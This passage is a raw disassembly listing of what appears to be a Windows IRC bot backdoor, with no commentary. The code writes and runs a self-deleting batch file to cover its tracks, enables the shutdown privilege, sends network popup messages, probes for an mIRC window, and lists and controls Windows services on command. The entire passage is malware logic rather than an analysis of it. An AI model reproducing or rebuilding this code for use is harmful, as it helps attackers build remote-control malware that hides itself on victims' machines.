XREF: sub_4184CC+4Dj inc ecx cmp ecx, eax jl short loc_41850E loc_418524: ; CODE XREF: sub_4184CC+40j xor edx, edx push edi test eax, eax jle short loc_418555 lea edi, [ebp+var_7CC] loc_418531: ; CODE XREF: sub_4184CC+87j cmp byte ptr [edx+esi], 0 jnz short loc_418550 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418550 cmp ebx, 1F4h jge short loc_418555 mov [edi], ecx inc ebx add edi, 4 loc_418550: ; CODE XREF: sub_4184CC+69j ; sub_4184CC+74j inc edx cmp edx, eax jl short loc_418531 loc_418555: ; CODE XREF: sub_4184CC+5Dj ; sub_4184CC+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418573 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41CD20 add esp, 0Ch loc_418573: ; CODE XREF: sub_4184CC+8Ej mov eax, ebx loc_418575: ; CODE XREF: sub_4184CC+34j pop esi pop ebx leave retn sub_4184CC endp ; =============== S U B R O U T I N E ======================================= sub_418579 proc near ; CODE XREF: sub_4185D3+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_4185B2 push ebx mov ebx, edi loc_418596: ; CODE XREF: sub_418579+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_4185B5 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418596 pop ebx loc_4185B2: ; CODE XREF: sub_418579+18j pop edi pop esi retn sub_418579 endp ; =============== S U B R O U T I N E ======================================= sub_4185B5 proc near ; CODE XREF: sub_418579+25p ; sub_4185D3+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DFEC cmp al, 61h pop ecx jl short loc_4185D0 cmp al, 7Ah jg short loc_4185D0 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_4185B5+Ej ; sub_4185B5+12j xor eax, eax retn sub_4185B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185D3 proc near ; CODE XREF: sub_415E19+10p ; ___:00415EEBp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C500 push ebx push esi push edi push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B9C0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418579 add esp, 14h dec esi mov edi, esi loc_418611: ; CODE XREF: sub_4185D3+B6j test esi, esi jle short loc_41868F mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DFEC pop ecx cmp eax, ebx pop ecx jz short loc_418687 loc_418637: ; CODE XREF: sub_4185D3+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_4185B5 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_418658 mov eax, ecx loc_418658: ; CODE XREF: sub_4185D3+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41868B mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DFEC mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41DFEC pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_418637 loc_418687: ; CODE XREF: sub_4185D3+62j dec edi dec esi jmp short loc_418611 ; --------------------------------------------------------------------------- loc_41868B: ; CODE XREF: sub_4185D3+8Aj xor eax, eax jmp short loc_418694 ; --------------------------------------------------------------------------- loc_41868F: ; CODE XREF: sub_4185D3+40j mov eax, [ebp+arg_0] add eax, edi loc_418694: ; CODE XREF: sub_4185D3+BAj pop edi pop esi pop ebx leave retn sub_4185D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p ; sub_401ACD+76FFp var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 26908B8h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27F0000h lea eax, [ebp+var_100] loc_4186D2: ; CODE XREF: sub_418699+46j mov cl, [eax] cmp cl, 1Fh jg short loc_4186DE cmp cl, 9 jnz short loc_4186E1 loc_4186DE: ; CODE XREF: sub_418699+3Ej inc eax jmp short loc_4186D2 ; --------------------------------------------------------------------------- loc_4186E1: ; CODE XREF: sub_418699+43j ; sub_418699+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4186FB mov cl, [eax] cmp cl, 2Eh jz short loc_4186E1 cmp cl, 21h jl short loc_4186E1 loc_4186FB: ; CODE XREF: sub_418699+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DB17C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C360 add esp, 18h mov eax, esi pop esi leave retn sub_418699 endp ; =============== S U B R O U T I N E ======================================= sub_418723 proc near ; CODE XREF: sub_401ACD+2470p push esi push 0 call dword_4CB9A4 test eax, eax jz short loc_41875A push 1 call dword_4CB9C4 mov esi, eax test esi, esi jz short loc_41875A push edi push esi nop call near ptr 28005FAh push esi mov edi, eax nop call near ptr 2800000h call dword_4CBA28 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41875A: ; CODE XREF: sub_418723+Bj ; sub_418723+19j xor eax, eax pop esi retn sub_418723 endp ; =============== S U B R O U T I N E ======================================= sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB9E0 mov ebp, eax cmp ebp, esi jz short loc_4187DA push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call near ptr 2810165h nop push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2810000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C266 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CBA30 push esi push 1 push 4C9h push ebp call dword_4CBA30 push ebx nop call near ptr 2800BD4h push edi nop call near ptr 2670000h push 1 pop eax pop ebx jmp short loc_4187DC ; --------------------------------------------------------------------------- loc_4187DA: ; CODE XREF: sub_41875E+16j xor eax, eax loc_4187DC: ; CODE XREF: sub_41875E+7Aj pop edi pop esi pop ebp retn sub_41875E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4187E0 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CBA90 test eax, eax jz short loc_41887F mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270F8 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2820000h push ebx mov ebx, dword_427070 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41887F lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 28108A5h push esi call ebx loc_41887F: ; CODE XREF: sub_4187E0+2Aj ; sub_4187E0+51j ... pop edi pop esi pop ebx leave retn sub_4187E0 endp ; =============== S U B R O U T I N E ======================================= sub_418884 proc near ; CODE XREF: sub_401ACD+1682p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419B9E pop ecx pop ecx push 50005h push 6 call dword_4CB914 neg eax sbb eax, eax neg eax retn sub_418884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep ; ___:00416C12p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_4188CA cmp dword_4CBAA4, esi jnz short loc_4188CA push esi call sub_401000 pop ecx loc_4188CA: ; CODE XREF: sub_4188A6+13j ; sub_4188A6+1Bj call sub_40B583 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26B0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call near ptr 27207BBh nop mov edi, eax cmp edi, esi jbe loc_418A2A lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2710000h push edi nop call near ptr 2670000h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BF70 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41BF70 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43DB88 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 26A0000h push eax nop call near ptr 2680000h lea eax, [ebp+var_15C] push eax call near ptr 2690DA0h nop cmp eax, 0FFFFFFFFh jz short loc_4189D2 lea eax, [ebp+var_15C] push 80h push eax call near ptr 2690CB1h nop loc_4189D2: ; CODE XREF: sub_4188A6+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41C266 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2830000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi call near ptr 2670347h nop loc_418A2A: ; CODE XREF: sub_4188A6+72j pop edi pop esi leave retn sub_4188A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E05F4h cmp [ebp+var_84], 2 jnz short loc_418AC4 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB954 push edi push eax call dword_4CB964 test eax, eax jz short loc_418AB6 push [ebp+arg_10] push offset dword_4394FC loc_418A8F: ; CODE XREF: sub_418A2E+94j lea eax, [ebp+var_294] push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 20h jmp short loc_418AEE ; --------------------------------------------------------------------------- loc_418AB6: ; CODE XREF: sub_418A2E+57j call near ptr 26908B8h nop push eax push offset unk_4394D4 jmp short loc_418A8F ; --------------------------------------------------------------------------- loc_418AC4: ; CODE XREF: sub_418A2E+3Fj lea eax, [ebp+var_294] push offset unk_4394A4 push eax call sub_41C266 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 1Ch loc_418AEE: ; CODE XREF: sub_418A2E+86j pop edi leave retn sub_418A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AF1 proc near ; CODE XREF: sub_401ACD+551Cp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26E05F4h cmp [ebp+var_90], 4 jnz short loc_418B47 cmp [ebp+var_8C], 0 jnz short loc_418B30 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_418B47 leave retn ; --------------------------------------------------------------------------- loc_418B30: ; CODE XREF: sub_418AF1+30j cmp [ebp+var_8C], 0Ah jz short loc_418B42 cmp [ebp+var_8C], 5Ah jnz short loc_418B47 loc_418B42: ; CODE XREF: sub_418AF1+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_418B47: ; CODE XREF: sub_418AF1+27j ; sub_418AF1+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26C0000h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi call near ptr 26C0422h nop push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41E0D4 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41E0D4 lea eax, [ebp+var_F8] push eax call sub_41E0B7 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 27B0889h mov eax, edi pop edi pop esi leave retn sub_418AF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BD1 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call near ptr 26A0891h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276E0 call sub_41D174 sub esi, eax mov eax, esi pop esi leave retn sub_418BD1 endp ; =============== S U B R O U T I N E ======================================= sub_418C0E proc near ; CODE XREF: sub_401ACD:loc_406021p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418C66 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439520[esi] push edi push eax call sub_418C88 add esp, 14h test eax, eax jnz short loc_418C56 push edi push off_43951C[esi] push offset unk_439630 loc_418C46: ; CODE XREF: sub_418C0E+56j mov esi, offset dword_4DBA40 push esi call sub_41C266 add esp, 10h jmp short loc_418C83 ; --------------------------------------------------------------------------- loc_418C56: ; CODE XREF: sub_418C0E+2Aj push eax call sub_418D2A pop ecx push eax push edi push offset unk_439604 jmp short loc_418C46 ; --------------------------------------------------------------------------- loc_418C66: ; CODE XREF: sub_418C0E+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DBA40 push off_439518[eax*4] push offset unk_4395E0 push esi call sub_41C266 add esp, 0Ch loc_418C83: ; CODE XREF: sub_418C0E+46j mov eax, esi pop edi pop esi retn sub_418C0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C88 proc near ; CODE XREF: sub_418C0E+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB9C8 mov edi, eax cmp edi, ebx jnz short loc_418CAF call near ptr 26908B8h nop mov ebx, eax jmp short loc_418D24 ; --------------------------------------------------------------------------- loc_418CAF: ; CODE XREF: sub_418C88+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB8B0 mov esi, eax cmp esi, ebx jnz short loc_418CCF nop call near ptr 26908B8h mov ebx, eax jmp short loc_418D1C ; --------------------------------------------------------------------------- loc_418CCF: ; CODE XREF: sub_418C88+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_418D02 cmp eax, 3 jz short loc_418CF3 jle short loc_418D15 cmp eax, 6 jg short loc_418D15 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB91C jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418CF3: ; CODE XREF: sub_418C88+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB8B8 jmp short loc_418D09 ; --------------------------------------------------------------------------- loc_418D02: ; CODE XREF: sub_418C88+4Dj push esi call dword_4CB920 loc_418D09: ; CODE XREF: sub_418C88+69j ; sub_418C88+78j test eax, eax jnz short loc_418D15 nop call near ptr 26908B8h mov ebx, eax loc_418D15: ; CODE XREF: sub_418C88+54j ; sub_418C88+59j ... push esi call dword_4CB8CC loc_418D1C: ; CODE XREF: sub_418C88+45j push edi call dword_4CB8CC pop esi loc_418D24: ; CODE XREF: sub_418C88+25j mov eax, ebx pop edi pop ebx leave retn sub_418C88 endp ; =============== S U B R O U T I N E ======================================= sub_418D2A proc near ; CODE XREF: sub_418C0E+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418DDF jz loc_418DD8 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418DA2 jz short loc_418D98 mov ecx, eax sub ecx, 3 jz short loc_418D8E dec ecx dec ecx jz short loc_418D84 dec ecx jz short loc_418D7A sub ecx, 51h jz short loc_418D70 sub ecx, 24h jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D70: ; CODE XREF: sub_418D2A+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D7A: ; CODE XREF: sub_418D2A+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D84: ; CODE XREF: sub_418D2A+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D8E: ; CODE XREF: sub_418D2A+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418D98: ; CODE XREF: sub_418D2A+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DA2: ; CODE XREF: sub_418D2A+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418DD1 dec ecx jz short loc_418DCA dec ecx jz short loc_418DC3 dec ecx jnz loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_418E47 ; --------------------------------------------------------------------------- loc_418DC3: ; CODE XREF: sub_418D2A+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DCA: ; CODE XREF: sub_418D2A+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD1: ; CODE XREF: sub_418D2A+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DD8: ; CODE XREF: sub_418D2A+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418DDF: ; CODE XREF: sub_418D2A+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 jz short loc_418E42 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418E55 ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418E96[ecx] jmp off_418E6E[ecx*4] ; switch jump loc_418E03: ; DATA XREF: ___:off_418E6Eo push offset aTheSpecifiedDa ; jumptable 00418DFC case 7 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E0A: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDepe ; jumptable 00418DFC case 17 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E11: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceDe_0 ; jumptable 00418DFC case 10 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E18: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasB ; jumptable 00418DFC case 0 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E1F: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheSpecified_0 ; jumptable 00418DFC case 2 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E26: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceCoul ; jumptable 00418DFC case 11 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHa_0 ; jumptable 00418DFC case 14 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E34: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheRequested_1 ; jumptable 00418DFC case 3 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E3B: ; CODE XREF: sub_418D2A+D2j ; DATA XREF: ___:off_418E6Eo push offset aTheServiceHasN ; jumptable 00418DFC case 4 jmp short loc_418E47 ; --------------------------------------------------------------------------- loc_418E42: ; CODE XREF: sub_418D2A+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_418E47: ; CODE XREF: sub_418D2A+41j ; sub_418D2A+4Bj ... push offset dword_4DB380 call sub_41C266 pop ecx pop ecx jmp short loc_418E68 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418D2A+36j ; sub_418D2A+89j ... push eax ; default ; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DB380 call sub_41C266 add esp, 0Ch loc_418E68: ; CODE XREF: sub_418D2A+129j mov eax, offset dword_4DB380 retn sub_418D2A endp ; --------------------------------------------------------------------------- off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r dd offset loc_418E1F ; jump table for switch statement dd offset loc_418E34 dd offset loc_418E3B dd offset loc_418E03 dd offset loc_418E11 dd offset loc_418E26 dd offset loc_418E2D dd offset loc_418E0A dd offset loc_418E55 byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB9C8 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_418EE0: ; CODE XREF: sub_418EA8+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB994 test eax, eax jnz short loc_418F1A call near ptr 26908B8h nop cmp eax, 0EAh jnz loc_418FCE loc_418F1A: ; CODE XREF: sub_418EA8+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418FC5 lea esi, [ebp+var_188] loc_418F2B: ; CODE XREF: sub_418EA8+117j mov eax, [esi+8] dec eax jz short loc_418F74 dec eax jz short loc_418F6D dec eax jz short loc_418F66 dec eax jz short loc_418F5F dec eax jz short loc_418F58 dec eax jz short loc_418F51 dec eax jz short loc_418F4A push offset aUnknown_0 ; " Unknown" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F4A: ; CODE XREF: sub_418EA8+99j push offset aPaused_0 ; " Paused" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F51: ; CODE XREF: sub_418EA8+96j push offset aPausing ; " Pausing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F58: ; CODE XREF: sub_418EA8+93j push offset aContinuing ; " Continuing" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F5F: ; CODE XREF: sub_418EA8+90j push offset aRunning ; " Running" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F66: ; CODE XREF: sub_418EA8+8Dj push offset aStoping ; " Stoping" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F6D: ; CODE XREF: sub_418EA8+8Aj push offset aStarting ; " Starting" jmp short loc_418F79 ; --------------------------------------------------------------------------- loc_418F74: ; CODE XREF: sub_418EA8+87j push offset aStopped ; " Stopped" loc_418F79: ; CODE XREF: sub_418EA8+A0j ; sub_418EA8+A7j ... lea eax, [ebp+var_20] push eax call sub_41C266 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41C266 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_418F2B loc_418FC5: ; CODE XREF: sub_418EA8+77j cmp [ebp+var_8], ebx jnz loc_418EE0 loc_418FCE: ; CODE XREF: sub_418EA8+6Cj push [ebp+var_C] call dword_4CB8CC xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_418EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_41907F mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_41900E dec eax jnz short loc_41905F push edi push 0 call sub_4191B8 pop ecx pop ecx jmp short loc_41905B ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418FE5+18j cmp [ebp+arg_8], 0 jnz short loc_41904D push 24h push edi call sub_41C990 pop ecx test eax, eax pop ecx jnz short loc_41904D push 57h pop eax loc_419025: ; CODE XREF: sub_418FE5+78j push eax call sub_4199AC pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_439518[eax*4] push offset unk_439BC4 push esi call sub_41C266 add esp, 14h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41904D: ; CODE XREF: sub_418FE5+2Dj ; sub_418FE5+3Bj push [ebp+arg_8] push edi push 0 call sub_41910C add esp, 0Ch loc_41905B: ; CODE XREF: sub_418FE5+27j test eax, eax jnz short loc_419025 loc_41905F: ; CODE XREF: sub_418FE5+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB63C push off_43951C[eax*4] push offset dword_439BA8 push esi call sub_41C266 add esp, 10h jmp short loc_41909F ; --------------------------------------------------------------------------- loc_41907F: ; CODE XREF: sub_418FE5+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB63C lea eax, [eax+eax*2] push off_439518[eax*4] push offset unk_439B84 push esi call sub_41C266 add esp, 0Ch loc_41909F: ; CODE XREF: sub_418FE5+66j ; sub_418FE5+98j mov eax, esi pop edi pop esi pop ebp retn sub_418FE5 endp ; =============== S U B R O U T I N E ======================================= sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp 